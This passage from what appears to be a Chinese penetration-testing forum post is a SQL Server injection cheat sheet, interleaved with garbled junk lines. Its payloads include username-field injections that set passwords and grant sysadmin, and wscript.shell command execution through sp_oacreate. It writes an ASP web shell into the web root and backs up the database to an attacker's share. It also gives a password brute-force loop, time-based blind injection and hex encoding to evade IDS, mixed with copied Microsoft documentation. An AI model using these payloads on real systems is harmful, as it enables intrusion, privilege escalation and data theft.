b、在用户名位置输入【admin';exec master.dbo.sp_password null,123456,Cool;--】,给Cool设置密码为123456
' `& S& @) y+ W( n: Z" `) @
c、在用户名位置输入【admin';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,给Cool赋予System Administrator权限
" F$ w; V# y. c8 _! u: V
, R. C! B3 i4 E9 O& b
- n1 E( H0 P& s# w% r% ?- g* @
+ I2 }1 D7 u1 S1 \6 P
( o- v: T2 `9 Z7 F4 }7 ]
$ N! g; S% t9 d+ F/ ~, L% b
一些sql扩展
n3 q& k8 ~) g# t W3 E; ?$ d# G
xp_regaddmultistring
+ _) j- _- ]9 |3 q5 g7 f1 ]
xp_regdeletekey 删除键名
9 H: I x p8 @% G @
xp_regdeletevalue 删除键值
6 f" R0 I* |1 A* D' y& ]9 R2 L, Z
xp_regenumkeys 枚举
% D6 A x$ @0 o% D
xp_regenumvalues
8 E5 Z" u% R+ ^9 m6 |
xp_regread 对于
( j3 z% h* `/ ]
xp_regremovemultistring
L0 h9 d7 E3 @8 M, }
xp_regwrite 写
3 K) d# C& M( ~( t2 B
xp_availablemedia 查看驱动器
) H$ m8 a3 U. E
xp_dirtree 看目录
. u8 t$ ]- E( J- y9 Y1 q
xp_enumdsn ODBC数据源
7 K, J% F) j: N2 m: B* `
xp_loginconfig 一些服务器安全配置的信息
( ?1 B9 [1 D6 `. q: `; S
xp_makecab 打包,某些dbo权限先可做大用
& a4 ^" F& ^( t( G( k) Z0 R
xp_ntsec_enumdomains 枚举域名相关信息
5 [$ m! y7 J7 @
xp_terminate_process 终端进程和ip啦
$ d- y& r% p2 h! U$ E, l4 Q) v0 e9 s
xp_logininfo 当前登录帐号
' L' _( c! V( C* d% i# d
sp_configure 检索数据库中的内容(我觉得这个挺有用的)
; P8 v) S; I! w f
sp_helpextendedproc 得到所有的存储扩展
: p, }' F2 z& q
sp_who2 查询用户,他们登录的主机,他们在数据库中执行的操作等等
" ^5 a5 g3 A- K
! I9 _ S4 Z; @3 E# j6 ~! Z
一些网络信息
1 x2 S- s1 o3 U7 j% g2 x1 k6 }
exec xp_regread HKEY_LOCAL_MACHINE,
, s8 H$ U* ~" |' Q6 Q
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
0 v7 ]8 @5 F5 g
'nullsessionshares'
/ j6 K$ C7 M0 h* Z, i# h1 a, u) O
SNMP辅助网络踩点
I/ Z9 n1 l0 t9 p+ Q
exec xp_regenumvalues HKEY_LOCAL_MACHINE,
_ I( O) Q" m( d2 O1 l
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcomm
6 u- z. f0 M$ e
unities'
. ]3 K9 Z; l% N1 }9 [* {: b$ G
7 d- q2 ~) M V/ q: H
开始一些系统服务,比如telnet,前提希望可以跑来admin或者一些系统密码
; W) F* n Q; i5 ] w. ~3 W
exec master..xp_servicecontrol 'start', 'schedule'
+ r: `1 v p2 o5 t3 P" Q
exec master..xp_servicecontrol 'start', 'server'
, t+ X5 F2 a% w: t$ Y7 l
3 |' h- d/ T- g& `+ a4 G- m, U1 q
Sp_addextendedproc 'xp_webserver','c:\temp\xp_foo.dll' 此扩展可以运行程序
. T, J) t9 a2 k: @+ u2 k# }
: p! Q$ T2 |3 C& |
使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:
' W) C$ P, X: ]! c
create table foo( line varchar(8000) )
6 k) [2 U2 `" E3 w0 n& _8 F8 n
然后执行bulk insert操作把文件中的数据插入到表中,如:
0 D# c& }6 c! n* H! Y8 N4 N
bulk insert foo from 'c:\inetpub\wwwroot\admin\inc.asp'
7 A3 N" R) i( h( }+ s4 [
* v; R6 m8 Y6 C J: [. s$ A7 }2 S
bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar
0 W N+ [0 H: O
'S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,这里为'foobar'
+ W4 \, V3 M. j4 _4 y5 @- f
% }- U$ u! z5 B* o6 ~9 o
SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情
( g, h) r! B- B* Q7 o0 S: T
使用'wscript.shell'对象建立了一个记事本的实例:
. M7 n d" _8 J; j! t) F! I! ^
declare @o int
4 w3 z! S* y* G, \5 u* V, y
exec sp_oacreate 'wscript.shell',@o out
. H: U! t8 {( y. D& k+ Y
exec sp_oamethod @o,'run',NULL,'notepad.exe'
1 Q. x, W& }+ o5 f6 P; w
指定在用户名后面来执行它:
0 d; d* i+ b* M, V5 }6 B- d! }4 N$ W
Username:'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'—
% S( s, d# m# U4 J2 ?1 _
5 I; v# c. x- n* B
使用FSO读一个已知的文本文件:
. l- q: e1 S- M
declare @o int, @f int, @t int, @ret int
2 X8 @$ {9 t# B. u) Q; F: [
declare @line varchar(8000)
6 ~% W, L, w8 g8 @
exec sp_oacreate 'scripting.filesystemobject', @o out
; R3 T$ v0 w: M; t. m' L+ ~
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
* l, `& R. Q1 ?4 R
exec @ret = sp_oamethod @f, 'readline', @line out
" V" j6 C2 E6 }/ [: Y
while( @ret = 0 )
2 r' a6 {5 l+ T, p% U) z" f! _3 e7 F
begin
( H2 O. D8 m" x4 T/ f! w
print @line
) Z0 `% k3 K# k! W& D i4 h
exec @ret = sp_oamethod @f, 'readline', @line out
5 ]% g/ H4 i! s0 U
end
' q7 a+ P) l/ u# h
( O ~. D6 N; u; \" C9 g
创建了一个能执行通过提交的命令,默认是asp那组权限的用户下运行,前提是sp_oacreate扩展存在
( E& V q. {, d" q4 J
declare @o int, @f int, @t int, @ret int
7 C! g, k& q5 [; t; i L
exec sp_oacreate 'scripting.filesystemobject', @o out
; y' W; G7 H0 P3 A4 c4 J6 l! x2 N
exec sp_oamethod @o, 'createtextfile', @f out,
2 B5 |+ S; J( \! ]. D
'c:\inetpub\wwwroot\foo.asp', 1
- A$ L6 d0 u7 r, A& A, F7 h
exec @ret = sp_oamethod @f, 'writeline', NULL,
2 ?. S6 s1 A* f
'<% set o = server.createobject("wscript.shell"): o.run(
0 A) L0 k- Q3 f. z$ J
request.querystring("cmd") ) %>'
& F9 q4 s* W& Y
* X: d8 ?" m6 o1 q: Y
sp_who '1' select * from sysobjects
) B0 v% u" G+ \; ?' [% V7 M
6 l: Z7 h/ _% A4 Z, F
针对局域网渗透,备份拖库或者非sa用户
2 c' ^6 V* a; ]% c. { b$ X/ C
declare @a sysname;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat ,name=test;--
1 r# H% m7 Y1 d! i. [) M. o
当前数据库就备份到你的硬盘上了
8 Z% c1 w0 o2 e \9 x o/ z A$ b
select * from openrowset(sqloledb,myserver;sa;,select * from table) 回连,默认需要支持多语句查询
' j, a: ~8 K L
& Z# I" u: b4 i# _
添加登录,使其成为固定服务器角色的成员。
i Q2 K% F# L! f! B' k; S7 R( k
语法
$ ~2 L! Z% G, D0 c0 C
sp_addsrvrolemember [ @loginame = ] 'login'
9 f, A. Q6 r5 n* d$ Z
[@rolename =] 'role'
9 j' }+ e: h( o; p& T* }
参数
' h# S# ^8 _% `3 q* e; ?7 r* w# h
[@loginame =] 'login'
4 E$ l1 x2 O4 N1 B/ X6 q. f5 V. D7 T& O
是添加到固定服务器角色的登录名称。login 的数据类型为 sysname,没有默认值。login 可以是 Microsoft? SQL Server? 登录或 Microsoft Windows NT? 用户帐户。如果还没有对该 Windows NT 登录授予 SQL Server 访问权限,那么将自动对其授予访问权限。
) M3 M0 C- J2 `; s) `7 z5 N
[@rolename =] 'role'
1 S% O' E# h0 g4 S. {
要将登录添加到的固定服务器角色的名称。role 的数据类型为 sysname,默认值为 NULL,它必须是下列值之一:
' {/ F6 X: `' I' T0 v- O
sysadmin
4 E R6 G1 A3 ]4 I' `3 {' w
securityadmin
+ ?+ o: z# d$ n( z
serveradmin
# w( {# X9 I, \. D1 C5 A' n! V9 a
setupadmin
6 v9 P2 E: g7 j! s
processadmin
; q9 n3 V7 [" o" G
diskadmin
" G4 }# } t" x! t, E8 N4 o) ?( q
dbcreator
) G& l: i" u' U: f' A+ H! D+ A
bulkadmin
' a) [2 {: `# K* H3 q1 k
返回代码值
# N8 u. i3 O. S& g# ?
0(成功)或 1(失败)
4 Y' t& P9 r( Y7 D. a) y4 r
注释
0 y% i/ e& h% o; Q1 n1 C
在将登录添加到固定服务器角色时,该登录就会得到与此固定服务器角色相关的权限。
( K6 b6 H M- Q0 B! m
不能更改 sa 登录的角色成员资格。
% O) P$ }4 m9 B& A4 w7 O& d$ O
请使用 sp_addrolemember 将成员添加到固定数据库角色或用户定义的角色。
4 W; j9 q+ }, [$ ?$ ?
不能在用户定义的事务内执行 sp_addsrvrolemember 存储过程。
( V( }, i4 i- D2 q
权限
% U1 z {9 m b
sysadmin 固定服务器的成员可以将成员添加到任何固定服务器角色。固定服务器角色的成员可以执行 sp_addsrvrolemember 将成员只添加到同一个固定服务器角色。
' K9 ?+ z7 V, q
示例
% b& d/ a; d; B% A
下面的示例将 Windows NT 用户 Corporate\HelenS 添加到 sysadmin 固定服务器角色中。
$ i {" n; _: u6 G9 n
EXEC sp_addsrvrolemember 'Corporate\HelenS', 'sysadmin'
; t* I E) U" H7 [5 L% X$ b/ r
* l2 s( l. O& i( T
OPENDATASOURCE
) @; y, i0 N2 g8 }2 j
不使用链接的服务器名,而提供特殊的连接信息,并将其作为四部分对象名的一部分。
, V# G$ I( V; g1 T3 y5 E; s+ i
语法
4 a. ]$ Y# n; y* b
OPENDATASOURCE ( provider_name, init_string )
8 d9 Z3 N0 W0 E: z1 C
参数
! { O: A) [3 ?! u6 @
provider_name
/ v0 f8 R# p, t) K) s
注册为用于访问数据源的 OLE DB 提供程序的 PROGID 的名称。provider_name 的数据类型为 char,没有默认值。
8 q$ u0 [) @ d5 W# S" j( z/ l5 z
init_string
, V- ~2 }( g% E0 ?& x; e
连接字符串,这些字符串将要传递给目标提供程序的 IDataInitialize 接口。提供程序字符串语法是以关键字值对为基础的,这些关键字值对由分号隔开,例如:"keyword1=value; keyword2=value."
; h* c5 q% ~* q
在 Microsoft? Data Access SDK 中定义了基本语法。有关所支持的特定关键字值对的信息,请参见提供程序中的文档。下表列出 init_string 参数中最常用的关键字。
8 g9 [( k/ L) s* f
关键字 OLE DB 属性 有效值和描述
$ {$ U- b# l: U1 J# {
数据源 DBPROP_INIT_DATASOURCE 要连接的数据源的名称。不同的提供程序用不同的方法对此进行解释。对于 SQL Server OLE DB 提供程序来说,这会指明服务器的名称。对于 Jet OLE DB 提供程序来说,这会指明 .mdb 文件或 .xls 文件的完整路径。
1 t: s2 R X9 |: g/ c. |
位置 DBPROP_INIT_LOCATION 要连接的数据库的位置。
% ~) Q. [& {+ R1 L' f0 F% Y, u6 s
扩展属性 DBPROP_INIT_PROVIDERSTRING 提供程序特定的连接字符串。
. f/ M/ Y$ v* F& V# U9 ^$ b
连接超时 DBPROP_INIT_TIMEOUT 超时值,在该超时值后,连接尝试将失败。
1 p/ e1 J) E/ C# k/ Z- w0 K
用户 ID DBPROP_AUTH_USERID 用于该连接的用户 ID。
1 W1 X, N9 A) o( h
密码 DBPROP_AUTH_PASSWORD 用于该连接的密码。
/ X3 X5 [% [, \! J8 e0 E8 P
目录 DBPROP_INIT_CATALOG 连接到数据源时的初始或默认的目录名称。
9 x' R' P* L5 z4 x, `
; w, |7 Q" A' \$ Q
OPENDATASOURCE 函数可以在能够使用链接服务器名的相同 Transact-SQL 语法位置中使用。因此,就可以将 OPENDATASOURCE 用作四部分名称的第一部分,该名称指的是 SELECT、INSERT、UPDATE 或 DELETE 语句中的表或视图的名称;或者指的是 EXECUTE 语句中的远程存储过程。当执行远程存储过程时,OPENDATASOURCE 应该指的是另一个 SQL Server。OPENDATASOURCE 不接受参数变量。
0 ]3 N' ?; s' }
与 OPENROWSET 函数类似,OPENDATASOURCE 应该只引用那些不经常访问的 OLE DB 数据源。对于访问次数稍多的任何数据源,请为它们定义链接的服务器。无论 OPENDATASOURCE 还是 OPENROWSET 都不能提供链接的服务器定义的全部功能,例如,安全管理以及查询目录信息的能力。每次调用 OPENDATASOURCE 时,都必须提供所有的连接信息(包括密码)。
4 f- Y9 D, O+ @# k2 ^
示例
# b$ G4 ?5 [3 M, @; |" _; R
下面的示例访问来自某个表的数据,该表在 SQL Server 的另一个实例中。
$ ~+ {* G, I( h- \
SELECT *
& h# Z4 G: k" w: z$ w, ~3 m
FROM OPENDATASOURCE(
7 J; ~* h/ G4 Y. X- H( s
'SQLOLEDB',
P, o$ J* [' j9 I) ]6 i+ ^4 G
'Data Source=ServerName;User ID=MyUID
assword=MyPass'
2 t2 r/ S: `* N; j' S
).Northwind.dbo.Categories
7 ?8 \1 m2 A. e1 J" @. L8 L2 w
3 c8 k F0 B8 d0 u, h; M
下面是个查询的示例,它通过用于 Jet 的 OLE DB 提供程序查询 Excel 电子表格。
: t9 X- S" ^+ u6 d
SELECT *
6 w+ e& A3 f% D9 H# y2 q4 C/ Q: o
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
# ^" j4 n* i, n& U' H8 l% E* x% \
'Data Source="c:\Finance\account.xls";User ID=Admin
assword=;Extended properties=Excel 5.0')...xactions
% u- a0 T) E6 W/ E$ B
. o5 P( `' T3 ~% x) O
针对MSDASQL 用存储过程建立的sql连接,在blackbox测试中,好象没什么注入区别
4 D3 V0 V* ~3 B& ~+ `) Z- V
declare @username nvarchar(4000), @query nvarchar(4000)
: H- W- }6 Q+ M0 Q; ^7 ^( ~( c! q, j
declare @pwd nvarchar(4000), @char_set nvarchar(4000)
i; `# s+ c: ]$ c
declare @pwd_len int, @i int, @c char
- f+ _" m: w( `6 [( W
select @char_set = N'abcdefghijklmnopqrstuvwxyz0123456789!_'
9 j, [2 H, T) }, k4 L, L0 `
select @pwd_len = 8
1 W& B) J0 J. G
select @username = 'sa'
/ S v; U3 h( Y" \
while @i < @pwd_len begin
( j: f3 p9 _8 I* X6 [! f5 T& z: g! j
-- make pwd
9 E6 }7 ]& y/ \9 K4 k- a' N5 r
(code deleted)
6 U# I+ u6 e5 `7 h3 T# { C
-- try a login
& K; e H9 J5 Z
select @query = N'select * from
. E+ H. _, X& ]* u
OPENROWSET(''MSDASQL'',''DRIVER={SQL Server};SERVER=;uid=' + @username +
) g5 }8 Y6 d% D4 [5 ^0 } F2 N# I
N';pwd=' + @pwd + N''',''select @@version'')'
9 g8 b w. S- y' _' K: E5 L: r* r8 C
exec xp_execresultset @query, N'master'
0 F1 T& L6 D% z) e( \
--check for success
, K# _5 t# y! P
(code deleted)
% m! R$ {6 p# Y- v
-- increment the password
2 B# S5 ~+ T0 g/ z
(code deleted)
( x5 O2 l h: p) f3 |- m
end
; j$ f+ L8 s, {4 b4 e i9 S
( H& V6 k8 c% x! L
盲注技巧之一,时间延缓(可以加一个循环函数,运行查询时间越久说说明当前字段正确)
; A" [- L3 b" `3 m9 g
if (select user) = 'sa' waitfor delay '0:0:5'
) G9 X _4 m% h; n8 B3 A+ D
) f$ b7 s1 U7 T1 K I# G! t
if exists (select * from pubs..pub_info) waitfor delay '0:0:5'
. |' S+ l2 b4 ?+ g
( h5 q% E% U! g& A7 W7 i
create table pubs..tmp_file (is_file int, is_dir int, has_parent int)
, R; w' T x) a4 e5 Q- ?. K
insert into pubs..tmp_file exec master..xp_fileexist 'c:\boot.ini'
% m7 K; ~! } f8 t
if exists (select * from pubs..tmp_file) waitfor delay '0:0:5'
$ F& X8 a+ P9 e7 G, F3 Y' n7 r5 G
if (select is_file from pubs..tmp_file) > 0 waitfor delay '0:0:5'
\$ ]& h& Q% e! r" ?# _
* K: O; H) _% z8 U. Z2 v9 N
字符对比
" T1 j; i) O8 Y a
if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor
4 O$ O4 @. t9 B: Z1 M: u" Q, B. }+ l/ \
delay '0:0:5'
" @8 o. k& ]" q2 H4 G' x! F
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s,
' T6 b1 L! A- Y
1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5'
3 ]8 n7 C, l. @
declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s,
* }# [" k1 T$ L3 t, f6 f/ U
1, 1)) & ( power(2, 1))) > 0 waitfor delay '0:0:5'
" p" C" W' D0 r( e0 F ?' j+ A: E+ N
- i9 }/ t& H5 ` ^3 j+ I/ s
编码的秘密,饶过IDS
+ ~ E4 a. C6 L( `' ~7 t+ Y
declare @q varchar(8000)
4 e9 f" p2 R! d) K5 f
select @q = 0x73656c65637420404076657273696f6e
. `! E! \8 E! p, }* U6 ~0 U: ^
exec(@q)
2 Z& _! o5 Z- V$ _: X% `
) u) [% A1 J! F! B# g
This runs 'select @@version', as does:
: P. O& _5 U) t0 W' ]
6 d* Y4 m6 P% f/ j3 ?# Y
declare @q nvarchar(4000)
! \2 L8 Y% ~+ n4 b7 ]
select @q =
0 E. R; z3 p8 E# H0 s4 e2 E2 J
0x730065006c00650063007400200040004000760065007200730069006f006e00
0 ]& O/ r% ~5 X( k- B4 ]
exec(@q)
& F6 K5 N" Q! X o" b
+ h' x! o+ v+ h1 H4 ?) W
In the stored procedure example above we saw how a 'sysname' parameter can contain
3 I" I( s/ B# u7 I i
multiple SQL statements without the use of single quotes or semicolons:
3 {2 y; L9 l# B
4 E* Z( }8 R2 A. B# a
sp_msdropretry [foo drop table logs select * from sysobjects], [bar]
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2